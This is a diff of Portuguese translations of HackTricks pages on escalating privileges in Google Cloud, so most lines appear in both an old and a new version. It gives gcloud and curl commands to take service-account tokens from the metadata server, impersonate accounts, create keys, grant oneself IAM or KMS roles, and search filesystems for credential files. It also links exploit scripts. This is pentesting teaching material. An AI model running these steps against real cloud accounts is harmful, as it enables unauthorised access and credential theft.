Como [**explicado nesta página**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets)com essas permissões você pode **ler** os **tokens** de todas as **SAs do kubernetes**, então você pode escalar para elas.
### `container.pods.exec`
Com essa permissão, você será capaz de **executar em pods**, o que lhe dá **acesso** a todos os **SAs do Kubernetes executando em pods** para escalar privilégios dentro do K8s, mas também você será capaz de **roubar** a **Conta de Serviço GCP** do **NodePool**, **escalando privilégios no GCP**.
Com essa permissão você poderá **exec into pods**, o que lhe dá **acesso** a todas as **SAs do Kubernetes em execução em pods** para escalar privilégios dentro do K8s, e também permitirá **roubar** o **GCP Service Account** do **NodePool**, **escalando privilégios no GCP**.
### `container.pods.portForward`
Como **explicado nesta página**, com essas permissões você pode **acessar serviços locais** executando em **pods** que podem permitir que você **escalone privilégios no Kubernetes** (e no **GCP** se de alguma forma você conseguir se comunicar com o serviço de metadados)**.**
Como **explicado nesta página**, com essas permissões você pode **acessar serviços locais** executando em **pods** que podem permitir que você **escalar privilégios no Kubernetes** (e no **GCP** se de alguma forma você conseguir falar com o serviço de metadata)**.**
### `container.serviceAccounts.createToken`
Por causa do **nome** da **permissão**, **parece que permitirá gerar tokens das Contas de Serviço do K8s**, então você poderá **escalar para qualquer SA** dentro do Kubernetes. No entanto, não consegui encontrar nenhum endpoint de API para usá-lo, então me avise se você encontrar.
Por causa do **nome** da **permissão**, parece que ela **permitiria gerar tokens das K8s Service Accounts**, então você seria capaz de **privesc to any SA** dentro do Kubernetes. No entanto, não consegui encontrar nenhum endpoint de API para usá-la, então me avise se você encontrar.
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
Essas permissões podem permitir que você escale privilégios no Kubernetes, mas mais provavelmente, você poderia abusar delas para **persistir no cluster**.\
Para mais informações [**siga este link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
Essas permissões podem permitir que você escale privilégios no Kubernetes, mas, mais provavelmente, você poderia abusar delas para **persistir no cluster**.\
Para mais informações [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller).
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -10,17 +10,19 @@
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
Não consegui obter um shell reverso usando este método, no entanto, é possível vazar o token SA do endpoint de metadados usando o método descrito abaixo.
Não consegui obter um reverse shell usando este método; no entanto, é possível leak SA token a partir do metadata endpoint usando o método descrito abaixo.
#### Steps to exploit
- Coloque o script do trabalho no GCP Bucket
- Coloque o script do job no GCP Bucket
- Envie um trabalho para um cluster Dataproc.
- Submeta um job para um cluster Dataproc.
- Use o trabalho para acessar o servidor de metadados.
- Use o job para acessar o metadata server.
- Vaze o token da conta de serviço usado pelo cluster.
- Leak o service account token usado pelo cluster.
<details><summary>Script Python para obter SA token do metadata server</summary>
```python
import requests
@@ -41,7 +43,9 @@ return None
if __name__ == "__main__":
fetch_metadata_token()
```
</details>
<details><summary>Submeter job malicioso para o cluster Dataproc</summary>
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>
@@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,40 +12,54 @@ Encontre mais informações sobre IAM em:
### `iam.roles.update` (`iam.roles.get`)
Um atacante com as permissões mencionadas poderá atualizar um papel atribuído a você e lhe conceder permissões extras para outros recursos como:
Um atacante com as permissões mencionadas poderá atualizar um role atribuído a você e conceder permissões extras para outros recursos como:
<details><summary>Atualizar role do IAM para adicionar permissões</summary>
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
Você pode encontrar um script para automatizar a **criação, exploração e limpeza de um ambiente vulnerável aqui** e um script em python para abusar desse privilégio [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Para mais informações, consulte a [**pesquisa original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
</details>
Você pode encontrar um script para automatizar a **criação, exploit e limpeza de um vuln environment aqui** e um script em python para abusar dessa permissão [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Para mais informações, consulte a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
Um atacante com as permissões mencionadas poderá **solicitar um token de acesso que pertence a uma Conta de Serviço**, portanto, é possível solicitar um token de acesso de uma Conta de Serviço com mais privilégios do que a nossa.
Um atacante com as permissões mencionadas poderá **solicitar um access token que pertença a um Service Account**, portanto é possível solicitar um access token de um Service Account com mais privilégios do que o nosso.
<details><summary>Impersonate service account to get access token</summary>
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
Você pode encontrar um script para automatizar a [**criação, exploração e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) e um script em python para abusar desse privilégio [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Para mais informações, consulte a [**pesquisa original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
</details>
Você pode encontrar um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) e um python script para abusar desse privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Para mais informações, consulte a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccountKeys.create`
Um atacante com as permissões mencionadas poderá **criar uma chave gerenciada pelo usuário para uma Conta de Serviço**, o que nos permitirá acessar o GCP como essa Conta de Serviço.
Um atacante com as permissões mencionadas poderá **create a user-managed key for a Service Account**, o que nos permitirá acessar GCP como esse Service Account.
<details><summary>Create service account key and authenticate</summary>
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
Você pode encontrar um script para automatizar a [**criação, exploração e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) e um script em python para abusar desse privilégio [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Para mais informações, consulte a [**pesquisa original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
</details>
Observe que **`iam.serviceAccountKeys.update` não funcionará para modificar a chave** de um SA porque, para fazer isso, as permissões `iam.serviceAccountKeys.create` também são necessárias.
Você pode encontrar um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) e um script em python para abusar deste privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Para mais informações, verifique a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Observe que **`iam.serviceAccountKeys.update` won't work to modify the key** de uma SA porque para isso a permissão `iam.serviceAccountKeys.create` também é necessária.
### `iam.serviceAccounts.implicitDelegation`
Se você tiver a permissão **`iam.serviceAccounts.implicitDelegation`** em uma Conta de Serviço que possui a permissão **`iam.serviceAccounts.getAccessToken`** em uma terceira Conta de Serviço, então você pode usar implicitDelegation para **criar um token para essa terceira Conta de Serviço**. Aqui está um diagrama para ajudar a explicar.
Se você tiver a permissão **`iam.serviceAccounts.implicitDelegation`** em um Service Account que possui a permissão **`iam.serviceAccounts.getAccessToken`** sobre um terceiro Service Account, então você pode usar implicitDelegation para **criar um token para esse terceiro Service Account**. Aqui está um diagrama para ajudar a explicar.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
Observe que, de acordo com a [**documentação**](https://cloud.google.com/iam/docs/understanding-service-accounts), a delegação do `gcloud` funciona para gerar um token usando o método [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Então aqui está como obter um token usando a API diretamente:
Observe que, de acordo com a [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), a delegação do `gcloud` funciona apenas para gerar um token usando o método [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Então aqui está como obter um token usando a API diretamente:
<details><summary>Gerar token de acesso com delegação usando a API</summary>
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -56,23 +70,27 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
Você pode encontrar um script para automatizar a [**criação, exploração e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) e um script em python para abusar desse privilégio [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Para mais informações, consulte a [**pesquisa original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
</details>
Você pode encontrar um script para automatizar a [**criação, exploit e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) e um script em python para abusar desse privilégio [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Para mais informações confira a [**pesquisa original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signBlob`
Um atacante com as permissões mencionadas poderá **assinar cargas úteis arbitrárias no GCP**. Assim, será possível **criar um JWT não assinado do SA e, em seguida, enviá-lo como um blob para obter o JWT assinado** pelo SA que estamos visando. Para mais informações [**leia isso**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Um atacante com as permissões mencionadas poderá **assinar payloads arbitrários no GCP**. Assim será possível **criar um JWT não assinado do SA e então enviá-lo como um blob para que o JWT seja assinado** pelo SA que estamos visando. Para mais informações [**leia isto**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Você pode encontrar um script para automatizar a [**criação, exploração e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) e um script em python para abusar desse privilégio [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) e [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Para mais informações, consulte a [**pesquisa original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Você pode encontrar um script para automatizar a [**criação, exploit e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) e um script em python para abusar desse privilégio [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) e [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Para mais informações confira a [**pesquisa original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signJwt`
Um atacante com as permissões mencionadas poderá **assinar tokens web JSON (JWTs) bem formados**. A diferença em relação ao método anterior é que **em vez de fazer o google assinar um blob contendo um JWT, usamos o método signJWT que já espera um JWT**. Isso torna mais fácil de usar, mas você só pode assinar JWT em vez de qualquer byte.
Um atacante com as permissões mencionadas poderá **assinar JSON Web Tokens (JWTs) bem-formados**. A diferença em relação ao método anterior é que **em vez de fazer o google assinar um blob contendo um JWT, usamos o método signJWT que já espera um JWT**. Isso torna o uso mais fácil, mas você só pode assinar JWT em vez de quaisquer bytes.
Você pode encontrar um script para automatizar a [**criação, exploração e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) e um script em python para abusar desse privilégio [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Para mais informações, consulte a [**pesquisa original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Você pode encontrar um script para automatizar a [**criação, exploit e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) e um script em python para abusar desse privilégio [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Para mais informações confira a [**pesquisa original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
Um atacante com as permissões mencionadas poderá **adicionar políticas IAM a contas de serviço**. Você pode abusar disso para **conceder a si mesmo** as permissões necessárias para personificar a conta de serviço. No exemplo a seguir, estamos nos concedendo o papel `roles/iam.serviceAccountTokenCreator` sobre o SA interessante:
Um atacante com as permissões mencionadas poderá **adicionar políticas IAM a contas de serviço**. Você pode abusar disso para **conceder a si mesmo** as permissões necessárias para impersonar a conta de serviço. No exemplo a seguir estamos concedendo a nós mesmos o papel `roles/iam.serviceAccountTokenCreator` sobre a SA interessante:
<details><summary>Adicionar binding de política IAM à conta de serviço</summary>
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -83,43 +101,53 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
Você pode encontrar um script para automatizar a [**criação, exploração e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
</details>
Você pode encontrar um script para automatizar o [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
A **permissão iam.serviceAccounts.actAs** é como a **permissão iam:PassRole da AWS**. É essencial para executar tarefas, como iniciar uma instância do Compute Engine, pois concede a capacidade de "agir como" uma Conta de Serviço, garantindo uma gestão de permissões segura. Sem isso, os usuários podem obter acesso indevido. Além disso, explorar a **iam.serviceAccounts.actAs** envolve vários métodos, cada um exigindo um conjunto de permissões, ao contrário de outros métodos que precisam apenas de uma.
A **iam.serviceAccounts.actAs permission** é como a **iam:PassRole permission from AWS**. É essencial para executar tarefas, como iniciar uma instância do Compute Engine, pois concede a capacidade de "actAs" um Service Account, garantindo um gerenciamento de permissões seguro. Sem isso, usuários podem obter acesso indevido. Além disso, explorar a **iam.serviceAccounts.actAs** envolve vários métodos, cada um exigindo um conjunto de permissões, em contraste com outros métodos que necessitam de apenas uma.
#### Impersonação de conta de serviço <a href="#service-account-impersonation" id="service-account-impersonation"></a>
#### Impersonação de Service Account <a href="#service-account-impersonation" id="service-account-impersonation"></a>
Impersonar uma conta de serviço pode ser muito útil para **obter novas e melhores permissões**. Existem três maneiras de [impersonar outra conta de serviço](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
Impersonar um service account pode ser muito útil para **obter privilégios novos e melhores**. Existem três maneiras pelas quais você pode [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
- Autenticação **usando chaves privadas RSA** (coberto acima)
- Autorização **usando políticas do Cloud IAM** (coberto aqui)
- **Implantando trabalhos em serviços do GCP** (mais aplicável à compromissão de uma conta de usuário)
- Autenticação **using RSA private keys** (coberto acima)
- Autorização **using Cloud IAM policies** (abordado aqui)
- **Deploying jobs on GCP services** (mais aplicável ao comprometimento de uma conta de usuário)
### `iam.serviceAccounts.getOpenIdToken`
Um atacante com as permissões mencionadas será capaz de gerar um OpenID JWT. Estes são usados para afirmar identidade e não carregam necessariamente qualquer autorização implícita contra um recurso.
De acordo com este [**post interessante**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), é necessário indicar o público (serviço onde você deseja usar o token para autenticar) e você receberá um JWT assinado pelo google indicando a conta de serviço e o público do JWT.
De acordo com este [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), é necessário indicar o audience (serviço onde você quer usar o token para autenticar) e você receberá um JWT assinado pelo google indicando o service account e o audience do JWT.
Você pode gerar um OpenIDToken (se tiver acesso) com:
Você pode gerar um OpenIDToken (se tiver o acesso) com:
<details><summary>Generate OpenID token for service account</summary>
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
Então você pode usá-lo para acessar o serviço com:
</details>
Então você pode simplesmente usá-lo para acessar o serviço com:
<details><summary>Use OpenID token para autenticar</summary>
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
Alguns serviços que suportam autenticação via esse tipo de tokens são:
</details>
Alguns serviços que suportam autenticação via esse tipo de token são:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (se usando Google OIDC)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (se estiver usando Google OIDC)
Você pode encontrar um exemplo de como criar um token OpenID em nome de uma conta de serviço [**aqui**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).

View File

@@ -10,11 +10,13 @@ Informações sobre KMS:
../gcp-services/gcp-kms-enum.md
{{#endref}}
Observe que no KMS as **permissões** não são apenas **herdadas** de Orgs, Pastas e Projetos, mas também de **Keyrings**.
Observe que no KMS as **permissões** não são apenas **herdadas** de Orgs, Folders and Projects mas também de **Keyrings**.
### `cloudkms.cryptoKeyVersions.useToDecrypt`
Você pode usar esta permissão para **descriptografar informações com a chave** sobre a qual você tem esta permissão.
Você pode usar essa permissão para **descriptografar informações com a chave** sobre a qual você tem essa permissão.
<details><summary>Descriptografar dados usando a chave KMS</summary>
```bash
gcloud kms decrypt \
--location=[LOCATION] \
@@ -24,9 +26,13 @@ gcloud kms decrypt \
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
--plaintext-file=[DECRYPTED_FILE_PATH]
```
</details>
### `cloudkms.cryptoKeys.setIamPolicy`
Um atacante com essa permissão poderia **dar a si mesmo permissões** para usar a chave para descriptografar informações.
Um atacante com essa permissão poderia **conceder a si mesmo permissões** para usar a chave para descriptografar informações.
<details><summary>Grant yourself KMS decrypter role</summary>
```bash
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--location [LOCATION] \
@@ -34,20 +40,24 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--member [MEMBER] \
--role roles/cloudkms.cryptoKeyDecrypter
```
</details>
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
Aqui está uma explicação conceitual de como essa delegação funciona:
Segue um resumo conceitual de como essa delegação funciona:
1. **Service Account A** tem acesso direto para descriptografar usando uma chave específica no KMS.
2. **Service Account B** recebe a permissão `useToDecryptViaDelegation`. Isso permite que ela solicite ao KMS para descriptografar dados em nome da Service Account A.
1. **Conta de Serviço A** tem acesso direto para descriptografar usando uma chave específica no KMS.
2. **Conta de Serviço B** tem a permissão `useToDecryptViaDelegation` concedida. Isso permite que ela solicite ao KMS que descriptografe dados em nome da Conta de Serviço A.
O uso dessa **permissão é implícito na forma como o serviço KMS verifica permissões** quando uma solicitação de descriptografia é feita.
O uso desta **permissão é implícito na forma como o serviço KMS verifica permissões** quando um pedido de descriptografia é realizado.
Quando você faz uma solicitação de descriptografia padrão usando a API do Google Cloud KMS (em Python ou outra linguagem), o serviço **verifica se a conta de serviço solicitante tem as permissões necessárias**. Se a solicitação for feita por uma conta de serviço com a **permissão `useToDecryptViaDelegation`**, o KMS verifica se essa **conta tem permissão para solicitar a descriptografia em nome da entidade que possui a chave**.
Quando você faz uma solicitação padrão de descriptografia usando a Google Cloud KMS API (em Python ou outra linguagem), o serviço **verifica se a conta de serviço que está solicitando possui as permissões necessárias**. Se o pedido for feito por uma conta de serviço com a permissão **`useToDecryptViaDelegation`**, o KMS verifica se essa **conta está autorizada a solicitar a descriptografia em nome da entidade que possui a chave**.
#### Configurando para Delegação
1. **Defina o Papel Personalizado**: Crie um arquivo YAML (por exemplo, `custom_role.yaml`) que define o papel personalizado. Este arquivo deve incluir a permissão `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`. Aqui está um exemplo de como esse arquivo pode parecer:
1. **Defina a função personalizada**: Crie um arquivo YAML (por exemplo, `custom_role.yaml`) que defina a função personalizada. Esse arquivo deve incluir a permissão `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`. A seguir um exemplo de como esse arquivo pode ser:
<details><summary>Definição YAML da função personalizada</summary>
```yaml
title: "KMS Decryption via Delegation"
description: "Allows decryption via delegation"
@@ -55,13 +65,21 @@ stage: "GA"
includedPermissions:
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
```
2. **Crie o Papel Personalizado Usando o gcloud CLI**: Use o seguinte comando para criar o papel personalizado em seu projeto do Google Cloud:
</details>
2. **Crie a Função Personalizada Usando o gcloud CLI**: Use o seguinte comando para criar a função personalizada no seu projeto Google Cloud:
<details><summary>Criar função KMS personalizada</summary>
```bash
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
```
Substitua `[YOUR_PROJECT_ID]` pelo ID do seu projeto do Google Cloud.
Substitua `[YOUR_PROJECT_ID]` pelo ID do seu projeto Google Cloud.
3. **Conceda a Função Personalizada a uma Conta de Serviço**: Atribua sua função personalizada a uma conta de serviço que usará esta permissão. Use o seguinte comando:
</details>
3. **Conceda o custom role a uma service account**: Atribua seu custom role a uma service account que usará essa permissão. Use o seguinte comando:
<details><summary>Conceder custom role à service account</summary>
```bash
# Give this permission to the service account to impersonate
gcloud projects add-iam-policy-binding [PROJECT_ID] \
@@ -73,6 +91,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
```
Substitua `[YOUR_PROJECT_ID]` e `[SERVICE_ACCOUNT_EMAIL]` pelo ID do seu projeto e pelo e-mail da conta de serviço, respectivamente.
Substitua `[YOUR_PROJECT_ID]` e `[SERVICE_ACCOUNT_EMAIL]` pelo ID do seu projeto e pelo email da service account, respectivamente.
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,40 +1,40 @@
# GCP - escalonamento local de privilégios ssh pivoting
# GCP - local privilege escalation ssh pivoting
{{#include ../../../banners/hacktricks-training.md}}
neste cenário, vamos supor que você **comprometeu uma conta não privilegiada** dentro de uma VM em um projeto do Compute Engine.
neste cenário vamos supor que você **comprometeu uma conta sem privilégios** dentro de uma VM em um projeto do Compute Engine.
Incrivelmente, as permissões do GPC do compute engine que você comprometeu podem ajudá-lo a **escalar privilégios localmente dentro de uma máquina**. Mesmo que isso nem sempre seja muito útil em um ambiente de nuvem, é bom saber que é possível.
Surpreendentemente, as permissões do GPC do Compute Engine que você comprometeu podem ajudá-lo a **escalar privilégios localmente dentro de uma máquina**. Mesmo que isso nem sempre seja muito útil em um ambiente cloud, é bom saber que é possível.
## Leia os scripts <a href="#follow-the-scripts" id="follow-the-scripts"></a>
**Instâncias de Computação** provavelmente estão lá para **executar alguns scripts** para realizar ações com suas contas de serviço.
**Compute Instances** provavelmente existem para **executar alguns scripts** para realizar ações com suas service accounts.
Como o IAM é granular, uma conta pode ter privilégios de **leitura/gravação** sobre um recurso, mas **sem privilégios de listagem**.
Como o IAM é granular, uma conta pode ter privilégios de **leitura/escrita** sobre um recurso, mas **sem privilégios de listagem**.
Um grande exemplo hipotético disso é uma Instância de Computação que tem permissão para ler/gravar backups em um bucket de armazenamento chamado `instance82736-long-term-xyz-archive-0332893`.
Um ótimo exemplo hipotético disso é uma Compute Instance que tem permissão para ler/gravar backups em um storage bucket chamado `instance82736-long-term-xyz-archive-0332893`.
Executar `gsutil ls` a partir da linha de comando não retorna nada, pois a conta de serviço não possui a permissão IAM `storage.buckets.list`. No entanto, se você executar `gsutil ls gs://instance82736-long-term-xyz-archive-0332893`, pode encontrar um backup completo do sistema de arquivos, dando acesso em texto claro a dados que sua conta local do Linux não possui.
Executar `gsutil ls` a partir da linha de comando não retorna nada, pois a service account não tem a permissão IAM `storage.buckets.list`. No entanto, se você executar `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` pode encontrar um backup completo do sistema de arquivos, dando acesso em texto claro a dados que sua conta Linux local não possui.
Você pode ser capaz de encontrar esse nome de bucket dentro de um script (em bash, Python, Ruby...).
## Metadados Personalizados
## Custom Metadata
Os administradores podem adicionar [metadados personalizados](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) no **nível da instância** e **nível do projeto**. Esta é simplesmente uma maneira de passar **pares chave/valor arbitrários para uma instância**, e é comumente usada para variáveis de ambiente e scripts de inicialização/desligamento.
Administrators can add [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) at the **instance** and **project level**. Essa é simplesmente uma forma de passar pares arbitrários chave/valor para dentro de uma instância, e é comumente usada para variáveis de ambiente e scripts de startup/shutdown.
Além disso, é possível adicionar **userdata**, que é um script que será **executado toda vez** que a máquina for iniciada ou reiniciada e que pode ser **acessado a partir do endpoint de metadados também.**
Além disso, é possível adicionar **userdata**, que é um script que será **executado toda vez** que a máquina for iniciada ou reiniciada e que também pode ser **acessado a partir do endpoint de metadata**.
Para mais informações, consulte:
For more info check:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
## **Abusando permissões do IAM**
## **Abusing IAM permissions**
A maioria das permissões propostas a seguir são **dadas à SA padrão do Compute,** o único problema é que o **escopo de acesso padrão impede a SA de usá-las**. No entanto, se o **escopo `cloud-platform`** **estiver habilitado** ou apenas o **escopo `compute`** **estiver habilitado**, você poderá **abusar delas**.
A maioria das permissões listadas a seguir são **concedidas ao default Compute SA,** o único problema é que o **escopo de acesso padrão impede que o SA as utilize**. No entanto, se o escopo **`cloud-platform`** estiver habilitado ou apenas o escopo **`compute`** estiver habilitado, você poderá **abusar delas**.
Verifique as seguintes permissões:
Check the following permissions:
- [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin)
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin)
@@ -42,12 +42,16 @@ Verifique as seguintes permissões:
- [**compute.instances.setMetadata**](gcp-compute-privesc/index.html#compute.instances.setmetadata)
- [**compute.instances.setIamPolicy**](gcp-compute-privesc/index.html#compute.instances.setiampolicy)
## Procure por Chaves no sistema de arquivos
## Search for Keys in the filesystem
Verifique se outros usuários fizeram login no gcloud dentro da caixa e deixaram suas credenciais no sistema de arquivos:
Verifique se outros usuários efetuaram login no gcloud dentro da máquina e deixaram suas credenciais no sistema de arquivos:
<details><summary>Procurar credenciais gcloud no sistema de arquivos</summary>
```
sudo find / -name "gcloud"
```
</details>
Estes são os arquivos mais interessantes:
- `~/.config/gcloud/credentials.db`
@@ -55,7 +59,9 @@ Estes são os arquivos mais interessantes:
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
- `~/.credentials.json`
### Mais regexes de chaves de API
### Mais API Keys regexes
<details><summary>Padrões de grep para GCP credentials and keys</summary>
```bash
TARGET_DIR="/path/to/whatever"
@@ -87,6 +93,8 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
